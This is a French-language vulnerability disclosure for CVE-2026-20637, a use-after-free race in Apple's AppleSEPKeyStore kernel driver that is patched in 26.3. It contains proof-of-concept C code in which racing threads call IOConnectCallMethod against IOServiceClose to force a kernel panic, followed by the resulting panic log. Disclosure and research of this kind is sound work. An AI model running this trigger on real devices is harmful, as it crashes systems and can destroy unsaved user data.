
CVE-2026-20637 : AppleSEPKeyStore Use-After-Free — vulnérabilité du noyau iOS/macOS (corrigée dans la version 26.4)
CVE-2026-20637 | Auteur : Johnny Franks (@zeroxjf)
Composant : AppleKeyStore
Impact : une application peut être en mesure de provoquer un arrêt inattendu du système
Description : un problème d'utilisation après libération a été corrigé grâce à une meilleure gestion de la mémoire.
| iOS | 26.1 - 26.2 (testé) |
| macOS | 26.1 - 26.2 (testé) |
| Composant | com.apple.driver.AppleSEPKeyStore |
| Correctif | iOS 26.3 / iPadOS 26.3 |
Remarque : Apple a peut-être corrigé ce problème progressivement entre 26.2.1 et 26.3 ; il se peut donc que le PoC ne fonctionne pas sur les versions intermédiaires.
Ce PoC provoque immédiatement un kernel panic sur les appareils concernés. Sauvegardez votre travail avant de l'exécuter ; des panics forcés répétés peuvent corrompre les données non enregistrées.
Utilisation après libération dans IOCommandGate, déclenchée par une course entre l'ouverture et la fermeture d'AppleKeyStore. Huit threads appelants martèlent IOConnectCallMethod sur les sélecteurs 0 à 15, tandis que quatre threads de fermeture exécutent IOServiceClose en parallèle, créant une fenêtre dans laquelle le command gate est utilisé après sa libération.
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 caller threads: hammer IOConnectCallMethod (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 closer threads: race IOServiceClose (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Main thread: 100k connections, no delay
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022 : (i % 4 == 1) ? 0xbeef : (i % 4 == 2) ? 0x1337 : 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// no delay: keep the close/call race window hot
}
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f